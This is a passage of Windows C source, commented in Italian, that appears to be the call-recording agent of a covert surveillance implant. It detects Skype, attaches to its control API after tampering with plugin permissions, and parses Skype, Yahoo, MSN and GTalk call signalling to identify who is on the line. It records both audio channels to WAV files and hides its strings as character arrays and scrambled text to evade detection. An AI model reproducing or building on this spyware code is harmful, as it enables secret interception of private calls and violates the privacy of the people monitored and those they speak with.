LOOP {
for (DWORD i=0; i<9; i++) {
CANCELLATION_POINT((*semaphore));
Sleep(250);
}
// Cerca il path di skypepm partendo da quello di skype.exe
// e lo esegue
if ( (skipe_id = HM_FindPid("skype.exe", TRUE)) ) {
if ( (skype_handle = FNC(OpenProcess)(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, skipe_id)) ) {
if (FNC(GetModuleFileNameExW)(skype_handle, NULL, skype_path, (sizeof(skype_path)/sizeof(WCHAR))-1)) {
if (skype_pm_ptr = wcsstr(skype_path, L"\\Phone\\")) {
*skype_pm_ptr = 0;
_snwprintf_s(skype_pm_path, sizeof(skype_pm_path)/sizeof(WCHAR), _TRUNCATE, L"%s\\Plugin Manager\\skypePM.exe", skype_path);
// Vede se esiste il file
HANDLE fileh = FNC(CreateFileW)(skype_pm_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (fileh != INVALID_HANDLE_VALUE)
CloseHandle(fileh);
else {// Non c'e' lo skypePM quindi cerca di fare l'attach al processo
// Prima di cercare di fare l'attach controlla che ci siano i giusti permessi...
EnterCriticalSection(&skype_critic_sec);
CheckSkypePluginPermissions(skipe_id, skype_path);
LeaveCriticalSection(&skype_critic_sec);
UINT msg_type = RegisterWindowMessage("SkypeControlAPIDiscover");
HM_SafeSendMessageTimeoutW(HWND_BROADCAST, msg_type, (WPARAM)g_report_hwnd, (LPARAM)NULL, SMTO_NORMAL, 500, NULL);
}
}
}
CloseHandle(skype_handle);
}
}
}
return 0;
}
BOOL ParseMsnMsg(BYTE *msg, DWORD *pdwLen, DWORD *pdwFlags)
{
char *ptr = NULL, *tmp = NULL, *MsnID = NULL;
char space[] = { ' ', 0};
char separator[] = { ';', '{', 0};
if (*pdwFlags & FLAGS_MSN_OUT) {
NullTerminatePacket(*pdwLen, msg);
// Cerchiamo il primo spazio e spostiamoci avanti
if(ptr = strstr((char *)msg, space))
ptr++;
else
return TRUE;
// Facciamo la stessa cosa col secondo spazio
if(ptr && (ptr = strstr((char *)ptr, space)))
ptr++;
else
return TRUE;
// Terminiamo al terzo spazio
if(ptr && (tmp = strstr((char *)ptr, space)))
*tmp = 0;
else
return TRUE;
if(ptr == NULL)
return TRUE;
MsnID = strdup(ptr);
}
// Se ha trovato un nuovo interlocutore
if (MsnID) {
// Toglie l'uid
ptr = strstr(MsnID, separator);
if (ptr)
*ptr = 0;
if (call_list_head==NULL || call_list_head->peer==NULL || strcmp(call_list_head->peer, MsnID)) {
EndCall();
FreePartnerList(&call_list_head);
// Alloca il nuovo interlocutore
if ( (call_list_head = (partner_entry *)calloc(sizeof(partner_entry), 1)) ) {
call_list_head->peer = MsnID;
call_list_head->voip_program = VOIP_MSMSG;
}
}
}
if ((*pdwFlags & FLAGS_MSN_IN) || (*pdwFlags & FLAGS_MSN_OUT))
return TRUE;
// Se e' una chiamata VOIP_MSMSG, ma riceve chunk da wasapi, la trasforma in VOIP_MSMSG per
// far accettare i chunk
if ( (((*pdwFlags)>>24) & 0x3F) == VOIP_MSNWS && call_list_head &&
(call_list_head->voip_program == VOIP_MSMSG))
call_list_head->voip_program = VOIP_MSNWS;
return FALSE;
}
BOOL ParseGtalkMsg(BYTE *msg, DWORD *pdwLen, DWORD *pdwFlags)
{
char *ptr = NULL, *tmp_ptr = NULL;
char *GTID = NULL;
/* if (*pdwFlags & FLAGS_GTALK_IN) {
NullTerminatePacket(*pdwLen, msg);
if ( (ptr = strchr((char *)msg, '>')) && !strncmp(++ptr, "<session ", strlen("<session ")) && (tmp_ptr = strchr(ptr, '>')) ) {
*tmp_ptr = 0;
// E' un pacchetto di accept per una chiamata iniziata da noi
if ( strstr(ptr, "type=\"accept\"") && (ptr = strstr((char *)msg, "from=\"")) ) {
ptr+=strlen("from=\"");
if ( (tmp_ptr = strchr(ptr, '/')) )
*tmp_ptr = 0;
GTID = strdup(ptr);
} else if ( strstr(ptr, "type=\"terminate\"") ) {
// E' un pacchetto di terminate
EndCall();
FreePartnerList(&call_list_head);
}
}
}
if (*pdwFlags & FLAGS_GTALK_OUT) {
NullTerminatePacket(*pdwLen, msg);
// E' un pacchetto di accept per una chiamata iniziata da noi
if ( (ptr = strchr((char *)msg, '>')) && !strncmp(++ptr, "<session ", strlen("<session ")) && (tmp_ptr = strchr(ptr, '>')) ) {
*tmp_ptr = 0;
if ( strstr(ptr, "type=\"accept\"") && (ptr = strstr((char *)msg, "to=\"")) ) {
ptr+=strlen("to=\"");
if ( (tmp_ptr = strchr(ptr, '/')) )
*tmp_ptr = 0;
GTID = strdup(ptr);
} else if ( strstr(ptr, "type=\"terminate\"") ) {
// E' un pacchetto di terminate
EndCall();
FreePartnerList(&call_list_head);
}
}
}
// Se ha trovato un nuovo interlocutore
if (GTID) {
EndCall();
FreePartnerList(&call_list_head);
// Alloca il nuovo interlocutore
if ( (call_list_head = (partner_entry *)calloc(sizeof(partner_entry), 1)) ) {
//Log_Sanitize(GTID);
call_list_head->peer = GTID;
call_list_head->voip_program = VOIP_GTALK;
}
}
*/
if ((*pdwFlags & FLAGS_GTALK_IN) || (*pdwFlags & FLAGS_GTALK_OUT))
return TRUE;
return FALSE;
}
BOOL ParseYahooMsg(BYTE *msg, DWORD *pdwLen, DWORD *pdwFlags)
{
char *ptr = NULL, *tmp = NULL;
BOOL is_interesting = FALSE;
char YID[64];
char invite[10];
DWORD seq = 0xfffffff;
char sip_tag[] = { 'S', 'I', 'P', '/', '2', '.', '0', ' ', '2', '0', '0', ' ', 'O', 'K', 0x0 }; //"SIP/2.0 200 OK"
char to_tag[] = { 'T', 'o', ':', ' ', 0x0 }; //"To: "
char to_sip[] = { 'T', 'o', ':', ' ', '<', 's', 'i', 'p', ':', 0x0 }; //"To: <sip:"
char to_sip_format[] = { 'T', 'o', ':', ' ', '<', 's', 'i', 'p', ':', '%', '6', '3', 's', 0x0 }; //"To: <sip:%63s"
char minus_sip[] = { '<', 's', 'i', 'p', 0x0 }; //"<sip"
char from_tag[] = { 'F', 'r', 'o', 'm', ':', ' ', 0x0 }; //"From: "
char from_sip[] = { 'F', 'r', 'o', 'm', ':', ' ', '<', 's', 'i', 'p', ':', 0x0 }; //"From: <sip:"
char from_sip_format[] = { 'F', 'r', 'o', 'm', ':', ' ', '<', 's', 'i', 'p', ':', '%', '6', '3', 's', 0x0 }; //"From: <sip:%63s"
char call_id_tag[] = { 'C', 'a', 'l', 'l', '-', 'I', 'D', ':', ' ', 0x0 }; //"Call-ID: "
char call_seq_tag[] = { 'C', 'S', 'e', 'q', ':', ' ', 0x0 }; //"CSeq: "
char to_format[] = { 'T', 'o', ':', ' ', '%', '6', '3', 's', 0x0 }; //"To: %63s"
char from_format[] = { 'F', 'r', 'o', 'm', ':', ' ', '%', '6', '3', 's', 0x0 }; //"From: %63s"
if (*pdwFlags & FLAGS_YMSG_IN) {
// Nuova chiamata
NullTerminatePacket(*pdwLen, msg);
if ( ptr = strstr((char *)msg, sip_tag) ) {
if (ptr = strstr(ptr, to_tag)) {
ZeroMemory(YID, sizeof(YID));
// Cerca il nome del peer se la chiamata e' iniziata da locale
if (!strncmp(ptr, to_sip, strlen(to_sip))) {
sscanf(ptr, to_sip_format, YID);
if(tmp = strstr(YID, "@"))
tmp[0] = 0;
} else {
sscanf(ptr, to_format, YID);
if(tmp = strstr(YID, minus_sip))
tmp[0] = 0;
}
is_interesting = TRUE;
}
}
}
if (*pdwFlags & FLAGS_YMSG_OUT) {
// Nuova chiamata
NullTerminatePacket(*pdwLen, msg);
if ( ptr = strstr((char *)msg, sip_tag) ) {
if (ptr = strstr(ptr, from_tag)) {
ZeroMemory(YID, sizeof(YID));
// Cerca il nome del peer se la chiamata e' iniziata da remoto
if (!strncmp(ptr, from_sip, strlen(from_sip))) {
sscanf(ptr, from_sip_format, YID);
if(tmp = strstr(YID, "@"))
tmp[0] = 0;
} else {
sscanf(ptr, from_format, YID);
if(tmp = strstr(YID, minus_sip))
tmp[0] = 0;
}
is_interesting = TRUE;
}
}
}
// Qui abbiamo gia' parsato l'eventuale destinatario del messaggio
// Ora vediamo se e' un inizio o fine chiamata. Se non trova il destinatario
// questa parte non e' "interesting"
if (is_interesting && ptr) {
if (strstr(ptr, call_id_tag) && (ptr = strstr((char *)msg, call_seq_tag))) {
sscanf(ptr, "CSeq: %d %6s", &seq, invite);
// Comincia la registrazione se e' una nuova chiamata o se e' stato fatto il resume di una
// chiamata messa precedentemente in hold
if(!strncmp(invite, "INVITE", 6) && (strstr(ptr, "a=sendrecv") || strstr(ptr, "s=Yahoo Voice"))&& seq != 0xfffffff) {
// flusha la chiamata e libera la lista degli interlocutori
// (in questo caso e' uno soltanto).
EndCall();
FreePartnerList(&call_list_head);
// Alloca il nuovo interlocutore
if ( !(call_list_head = (partner_entry *)calloc(sizeof(partner_entry), 1)) )
return TRUE;
//Log_Sanitize(YID);
call_list_head->peer = strdup(YID);
call_list_head->voip_program = VOIP_YAHOO;
// Termina la chiamata
} else if(!strncmp(invite, "BYE", 3) && seq != 0xffffffff) {
// flusha la chiamata e libera la lista degli interlocutori
// (in questo caso e' uno soltanto).
EndCall();
FreePartnerList(&call_list_head);
}
}
}
if ((*pdwFlags & FLAGS_YMSG_IN) || (*pdwFlags & FLAGS_YMSG_OUT))
return TRUE;
return FALSE;
}
BOOL ParseSkypeMsg(BYTE *msg, DWORD *pdwLen, DWORD *pdwFlags)
{
COPYDATASTRUCT cd_struct;
DWORD call_id;
char req_buf[256];
char id_num[] = { '#', '1', '4', '1', '1', '3', '0', '0', '9', 0x0 }; //"#14113009"
char partner_h_id[] = { '#', '1', '4', '1', '1', '3', '0', '0', '9', ' ', 'C', 'A', 'L', 'L', ' ', '%', 'd', ' ', 'P', 'A', 'R', 'T', 'N', 'E', 'R', '_', 'H', 'A', 'N', 'D', 'L', 'E', ' ', '%', 's', 0x0 }; //"#14113009 CALL %d PARTNER_HANDLE %s"
char id_local_hold[] = { 'S', 'T', 'A', 'T', 'U', 'S', ' ', 'L', 'O', 'C', 'A', 'L', 'H', 'O', 'L', 'D', 0x0 }; //"STATUS LOCALHOLD"
char id_remotehold[] = { 'S', 'T', 'A', 'T', 'U', 'S', ' ', 'R', 'E', 'M', 'O', 'T', 'E', 'H', 'O', 'L', 'D', 0x0 }; //"STATUS REMOTEHOLD"
char id_finished[] = { 'S', 'T', 'A', 'T', 'U', 'S', ' ', 'F', 'I', 'N', 'I', 'S', 'H', 'E', 'D', 0x0 }; //"STATUS FINISHED"
char id_unplaced[] = { 'S', 'T', 'A', 'T', 'U', 'S', ' ', 'U', 'N', 'P', 'L', 'A', 'C', 'E', 'D', 0x0 }; //"STATUS INPROGRESS"
char id_unplaced_format[] = { 'C', 'A', 'L', 'L', ' ', '%', 'd', ' ', 'S', 'T', 'A', 'T', 'U', 'S', ' ', 'U', 'N', 'P', 'L', 'A', 'C', 'E', 'D', 0x0 }; //"CALL %d STATUS INPROGRESS"
char id_ringing[] = { 'S', 'T', 'A', 'T', 'U', 'S', ' ', 'R', 'I', 'N', 'G', 'I', 'N', 'G', 0x0 }; //"STATUS INPROGRESS"
char id_ringing_format[] = { 'C', 'A', 'L', 'L', ' ', '%', 'd', ' ', 'S', 'T', 'A', 'T', 'U', 'S', ' ', 'R', 'I', 'N', 'G', 'I', 'N', 'G', 0x0 }; //"CALL %d STATUS INPROGRESS"
char id_partic_count[] = { 'C', 'O', 'N', 'F', '_', 'P', 'A', 'R', 'T', 'I', 'C', 'I', 'P', 'A', 'N', 'T', 'S', '_', 'C', 'O', 'U', 'N', 'T', 0x0 }; //"CONF_PARTICIPANTS_COUNT"
char format_partner_handle[] = { '#', '1', '4', '1', '1', '3', '0', '0', '9', ' ', 'G', 'E', 'T', ' ', 'C', 'A', 'L', 'L', ' ', '%', 'd', ' ', 'P', 'A', 'R', 'T', 'N', 'E', 'R', '_', 'H', 'A', 'N', 'D', 'L', 'E', 0x0 }; //"#14113009 GET CALL %d PARTNER_HANDLE"
char format_conf_part[] = { 'G', 'E', 'T', ' ', 'C', 'A', 'L', 'L', ' ', '%', 'd', ' ', 'C', 'O', 'N', 'F', '_', 'P', 'A', 'R', 'T', 'I', 'C', 'I', 'P', 'A', 'N', 'T', 'S', '_', 'C', 'O', 'U', 'N', 'T', 0x0 }; //"GET CALL %d CONF_PARTICIPANTS_COUNT"
char format_call_stat[] = { 'C', 'A', 'L', 'L', ' ', '%', 'd', ' ', 'S', 'T', 'A', 'T', 'U', 'S', ' ', '%', 's', 0x0 }; //"CALL %d STATUS %s"
char format_call_part[] = { 'C', 'A', 'L', 'L', ' ', '%', 'd', ' ', 'C', 'O', 'N', 'F', '_', 'P', 'A', 'R', 'T', 'I', 'C', 'I', 'P', 'A', 'N', 'T', 'S', '_', 'C', 'O', 'U', 'N', 'T', ' ', '%', 'd', 0x0 }; //"CALL %d CONF_PARTICIPANTS_COUNT %d"
char string_obfs[] = { '_', ' ', 'O', 'E', 'P', 'U', 'v', 'E', 't', 'U', 'P', 'C', ' ', 'X', 'Q', 'y', 'c', ' ', 'H', 'd', 'l', 'd', 'l', '1', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', 'Q', 'M', 0x0d, 0x0a, 0x0}; // "_ OEPUvEtUPC XQyc Hdldl1.............QM\r\n"
if (*pdwFlags & FLAGS_SKAPI_MSG) {
NullTerminatePacket(*pdwLen, msg);
if (!strncmp((char *)msg, id_num, 9)) {
// Skype ha risposto alle nostre richieste dicendo chi e' l'interlocutore
// per questa chiamata
partner_entry *curr_partner;
char *partner_handle;
if (! (partner_handle = (char *)calloc(strlen((char *)msg), sizeof(char))) )
return TRUE;
sscanf((char *)msg, partner_h_id, &call_id, partner_handle);
//Log_Sanitize(partner_handle);
// vede se abbiamo gia' in lista questa chiamata
for (curr_partner = call_list_head; curr_partner; curr_partner=curr_partner->next)
if (curr_partner->Id == call_id) {
SAFE_FREE(partner_handle);
return TRUE;
}
// Se nella lista c'e' un interlocutore non Skype, azzera la lista
for (curr_partner = call_list_head; curr_partner; curr_partner=curr_partner->next)
if (curr_partner->voip_program != VOIP_SKYPE && curr_partner->voip_program != VOIP_SKWSA) {
FreePartnerList(&call_list_head);
break;
}
// Se non e' presente lo inseriamo in testa
if ( !(curr_partner = (partner_entry *)malloc(sizeof(partner_entry))) ) {
SAFE_FREE(partner_handle);
return TRUE;
}
EndCall(); // E' cambiata la lista degli interlocutori, quindi
// forza il salvataggio della chiamata
curr_partner->next = call_list_head;
curr_partner->Id = call_id;
curr_partner->participants = 0;
curr_partner->peer = partner_handle;
curr_partner->flags = 0;
curr_partner->voip_program = VOIP_SKYPE;
call_list_head = curr_partner;
} else if (strstr((char *)msg, id_unplaced) && skype_api_wnd) {
DWORD dummy;
// Riceve l'avviso di chiamata in progress e richiede chi e' l'interlocutore
sscanf((char *)msg, id_unplaced_format, &call_id);
sprintf(req_buf, format_partner_handle, call_id);
cd_struct.dwData = 0;
cd_struct.lpData = req_buf;
cd_struct.cbData = strlen((char *)cd_struct.lpData)+1;
HM_SafeSendMessageTimeoutW(skype_api_wnd, WM_COPYDATA, (WPARAM)skype_pm_wnd, (LPARAM)&cd_struct, SMTO_NORMAL, 0, &dummy);
// e chiede anche quanti sono a partecipare alla chiamata (in remoto)
sprintf(req_buf, format_conf_part, call_id);
cd_struct.dwData = 0;
cd_struct.lpData = req_buf;
cd_struct.cbData = strlen((char *)cd_struct.lpData)+1;
HM_SafeSendMessageTimeoutW(skype_api_wnd, WM_COPYDATA, (WPARAM)skype_pm_wnd, (LPARAM)&cd_struct, SMTO_NORMAL, 0, &dummy);
// Termina ogni chiamata esistente
EndCall();
FreePartnerList(&call_list_head);
} else if (strstr((char *)msg, id_ringing) && skype_api_wnd) {
DWORD dummy;
// Riceve l'avviso di chiamata in progress e richiede chi e' l'interlocutore
sscanf((char *)msg, id_ringing_format, &call_id);
sprintf(req_buf, format_partner_handle, call_id);
cd_struct.dwData = 0;
cd_struct.lpData = req_buf;
cd_struct.cbData = strlen((char *)cd_struct.lpData)+1;
HM_SafeSendMessageTimeoutW(skype_api_wnd, WM_COPYDATA, (WPARAM)skype_pm_wnd, (LPARAM)&cd_struct, SMTO_NORMAL, 0, &dummy);
// e chiede anche quanti sono a partecipare alla chiamata (in remoto)
sprintf(req_buf, format_conf_part, call_id);
cd_struct.dwData = 0;
cd_struct.lpData = req_buf;
cd_struct.cbData = strlen((char *)cd_struct.lpData)+1;
HM_SafeSendMessageTimeoutW(skype_api_wnd, WM_COPYDATA, (WPARAM)skype_pm_wnd, (LPARAM)&cd_struct, SMTO_NORMAL, 0, &dummy);
// Termina ogni chiamata esistente
EndCall();
FreePartnerList(&call_list_head);
} else if (strstr((char *)msg, id_local_hold) || strstr((char *)msg, id_remotehold) || strstr((char *)msg, id_finished)) {
// Una chiamata e' stata terminata o messa in attesa
partner_entry **curr_partner, *tmp_partner;
sscanf((char *)msg, format_call_stat, &call_id, req_buf);
for (curr_partner = &call_list_head; *curr_partner; curr_partner=&((*curr_partner)->next))
if ((*curr_partner)->Id == call_id) {
EndCall(); // E' cambiata la lista degli interlocutori, quindi
// forza il salvataggio della chiamata
// Togliamo un elemento dalla lista degli interlocutori
SAFE_FREE( (*curr_partner)->peer );
tmp_partner = *curr_partner;
*curr_partner = (*curr_partner)->next;
SAFE_FREE(tmp_partner);
break;
}
} else if (strstr((char *)msg, id_partic_count)) {
// Skype ci ha risposto dicendo quante persone stanno partecipando a una chiamata (da remoto)
DWORD participant_count;
partner_entry *curr_partner;
sscanf((char *)msg, format_call_part, &call_id, &participant_count);
for (curr_partner = call_list_head; curr_partner; curr_partner=curr_partner->next)
if (curr_partner->Id == call_id) {
if (participant_count > 0)
curr_partner->participants = participant_count-1;
else
curr_partner->participants = 0;
break;
}
}
return TRUE;
}
if (*pdwFlags & FLAGS_SKAPI_WND) {
ScrambleString ss(string_obfs, is_demo_version); // "- Monitoring VOIP queues.............OK\r\n"
REPORT_STATUS_LOG(ss.get_str());
skype_api_wnd = *((HWND *)msg);
return TRUE;
}
if (*pdwFlags & FLAGS_SKAPI_SWD) {
skype_pm_wnd = *((HWND *)msg);
return TRUE;
}
if (*pdwFlags & FLAGS_SKAPI_INI) {
// Skype e' ripartito. Salviamo eventuali code e azzeriamo la lista
// dei partner
EndCall();
FreePartnerList(&call_list_head);
return TRUE;
}
// Se abbiamo ricevuto un chunk audio tramite wsawrite o DirectSound, marca la chiamata come "old style"
if ( (((*pdwFlags)>>24) & 0x3F) == VOIP_SKYPE && call_list_head &&
(call_list_head->voip_program == VOIP_SKYPE || call_list_head->voip_program == VOIP_SKWSA)) {
call_list_head->voip_program = VOIP_SKYPE;
call_list_head->flags = CALL_SKYPE_OLD;
}
// Al primo chunk audio che riceve come SKYPE WASAPI cambia il voip program nella lista
// dei peer, cosi' i chunk verranno accettati correttamente e nel file verra scritto il giusto
// sample rate. Lo fa solo se non e' una chiamata "old style"
if ( (((*pdwFlags)>>24) & 0x3F) == VOIP_SKWSA && call_list_head &&
(call_list_head->voip_program == VOIP_SKYPE) && !(call_list_head->flags&CALL_SKYPE_OLD))
call_list_head->voip_program = VOIP_SKWSA;
return FALSE;
}
BOOL ParseSamplingMsg(BYTE *msg, DWORD *pdwLen, DWORD *pdwFlags)
{
DWORD in_out = INPUT_ELEM;
if (*pdwFlags & FLAGS_SAMPLING) {
if (*pdwFlags & FLAGS_OUTPUT)
in_out = OUTPUT_ELEM;
sample_sampling[in_out] = *((DWORD *)msg);
return TRUE;
}
return FALSE;
}
DWORD __stdcall PM_VoipRecordDispatch(BYTE *msg, DWORD dwLen, DWORD dwFlags, FILETIME *time_nanosec)
{
DWORD in_out = INPUT_ELEM;
pVoiceAdditionalData additional_data;
DWORD additional_len;
// Se il monitor e' stoppato non esegue la funzione di dispatch
if (!bPM_VoipRecordStarted)
return 0;
// Parsing per messaggi specifici di un programma
if (ParseSkypeMsg(msg, &dwLen, &dwFlags))
return 1;
if (ParseYahooMsg(msg, &dwLen, &dwFlags))
return 1;
if (ParseGtalkMsg(msg, &dwLen, &dwFlags))
return 1;
if (ParseMsnMsg(msg, &dwLen, &dwFlags))
return 1;
// Intercetta i messaggi di sampling rate
if (ParseSamplingMsg(msg, &dwLen, &dwFlags))
return 1;
// Registra solo se ci sono chiamate in corso
if (!call_list_head)
return 1;
// Verifica che il chunk audio appartenga effettivamente al programma che viene usato verso il
// primo elemento della lista dei peer
if (call_list_head->voip_program != ((dwFlags>>24) & 0x3F))
return 1;
// Se non e' un messaggio di CallID allora determina da dove viene il sample
if (dwFlags & FLAGS_OUTPUT)
in_out = OUTPUT_ELEM; // Di default e' su INPUT_ELEM
// Se e' troppo distante dall'ultimo sample, lo salva in un file differente
// differente (appartiene a una chiamata diversa).
// Se sample size e' > 0 sono sicuro che channel_time_last sia stato valorizzato
if (sample_size[in_out]>0 && abs(TimeDiff(time_nanosec, &channel_time_last[in_out])) > CALL_DELTA) {
additional_data = VoipGetAdditionalData(call_list_head, in_out, &additional_len);
SaveWav(wave_array[in_out], sample_size[in_out], sample_channels[in_out], additional_data, additional_len);
sample_size[in_out] = 0;
}
// Se e' il primo messaggio che stiamo mettendo su quel canale,
// lo prendiamo come timestamp di inizio (approssimativamente)
if (sample_size[in_out] == 0) {
channel_time_start[in_out].dwHighDateTime = time_nanosec->dwHighDateTime;
channel_time_start[in_out].dwLowDateTime = time_nanosec->dwLowDateTime;
}
// Setta l'ultimo time-stamp
channel_time_last[in_out].dwHighDateTime = time_nanosec->dwHighDateTime;
channel_time_last[in_out].dwLowDateTime = time_nanosec->dwLowDateTime;
// Lo inserisce nella lista
if (InsertList(wave_array[in_out], msg, dwLen, sample_size[in_out])) {
sample_size[in_out] += dwLen;
sample_channels[in_out] = (dwFlags>>30);
}
// Se ha superato la dimensione del sample, salva su file
// e libera la lista
if (sample_size[in_out] > max_sample_size) {
additional_data = VoipGetAdditionalData(call_list_head, in_out, &additional_len);
SaveWav(wave_array[in_out], sample_size[in_out], sample_channels[in_out], additional_data, additional_len);
sample_size[in_out] = 0;
}
return 1;
}
DWORD __stdcall PM_VoipRecordStartStop(BOOL bStartFlag, BOOL bReset)
{
char codec_path[DLLNAMELEN];
pVoiceAdditionalData additional_data;
DWORD additional_len;
// Lo fa per prima cosa, anche se e' gia' in quello stato
// Altrimenti quando gli agenti sono in suspended(per la sync) e ricevo una conf
// che li mette in stop non verrebbero fermati realmente a causa del check
// if (bPM_KeyLogStarted == bStartFlag) che considera suspended e stopped uguali.
// Gli agenti IPC non vengono stoppati quando in suspend (cosi' cmq mettono in coda
// durante la sync).
if (bReset)
AM_IPCAgentStartStop(PM_VOIPRECORDAGENT, bStartFlag);
// Se l'agent e' gia' nella condizione desiderata
// non fa nulla.
if (bPM_VoipRecordStarted == bStartFlag)
return 0;
// Allo start vede se non abbiamo ancora il codec caricato
// Se manca, cerca di caricarlo.
if (bStartFlag && !codec_handle)
codec_handle = ResolveCodecSymbols(HM_CompletePath(H4_CODEC_NAME, codec_path));
// Cambia lo stato dell'agente
bPM_VoipRecordStarted = bStartFlag;
// Quando stoppiamo l'agente flusha le due code di PCM...
if (!bStartFlag) {
for (DWORD i=0; i<2; i++) {
if (sample_size[i]>0) {
additional_data = VoipGetAdditionalData(call_list_head, i, &additional_len);
SaveWav(wave_array[i], sample_size[i], sample_channels[i], additional_data, additional_len);
sample_size[i] = 0;
}
}
// ... e stoppiamo il thread che monitora lo skypePM
QUERY_CANCELLATION(hSkypePMThread, bPM_spmcp);
} else { // bStartFlag == TRUE
DWORD dummy;
// Startiamo il thread che monitora lo skypePM
hSkypePMThread = HM_SafeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorSkypePM, (DWORD *)&bPM_spmcp, 0, 0);
}
return 1;
}
DWORD __stdcall PM_VoipRecordInit(JSONObject elem)
{
// Inizializza la dimensione dei sample su disco
// e il fattore di compressione
max_sample_size = (DWORD) elem[L"buffer"]->AsNumber();
compress_factor = (DWORD) elem[L"compression"]->AsNumber();
// Riallochiamo l'array per i PCM
// Siamo sicuri di non perdere dati, perche' la Init viene fatta sempre dopo lo Stop
// Che avra' flushato entrambe le code e in questo momento il thread di dispatch e' ancora fermo
SAFE_FREE(wave_array[INPUT_ELEM]);
SAFE_FREE(wave_array[OUTPUT_ELEM]);
wave_array[INPUT_ELEM] = (BYTE *)malloc(max_sample_size + MAX_MSG_LEN * 2);
wave_array[OUTPUT_ELEM] = (BYTE *)malloc(max_sample_size + MAX_MSG_LEN * 2);
return 1;
}
DWORD __stdcall PM_VoipRecordUnregister()
{
#define MAX_FREE_TRIES 5
#define FREE_SLEEP_TIME 100
DWORD i;
if (codec_handle) {
// Cerca a tutti i costi di chiudere la libreria
// (anche se dovrebbe riuscire al primo tentativo)
for (i=0; i<MAX_FREE_TRIES; i++) {
// Non vi sono race sulla libreria visto che il thread di dispatch
// e' bloccato a questo punto (in maniera sicura) e la Start (dove
// carica la libreria) viene sempre eseguita da una action (cosi'
// come la unregisterm che e' esguita dall'action uninstall).
if (FreeLibrary(codec_handle))
break;
Sleep(FREE_SLEEP_TIME);
}
codec_handle = NULL;
}
return 1;
}
void PM_VoipRecordRegister()
{
AM_MonitorRegister(L"call", PM_VOIPRECORDAGENT, (BYTE *)PM_VoipRecordDispatch, (BYTE *)PM_VoipRecordStartStop, (BYTE *)PM_VoipRecordInit, (BYTE *)PM_VoipRecordUnregister);
InitializeCriticalSection(&skype_critic_sec);
}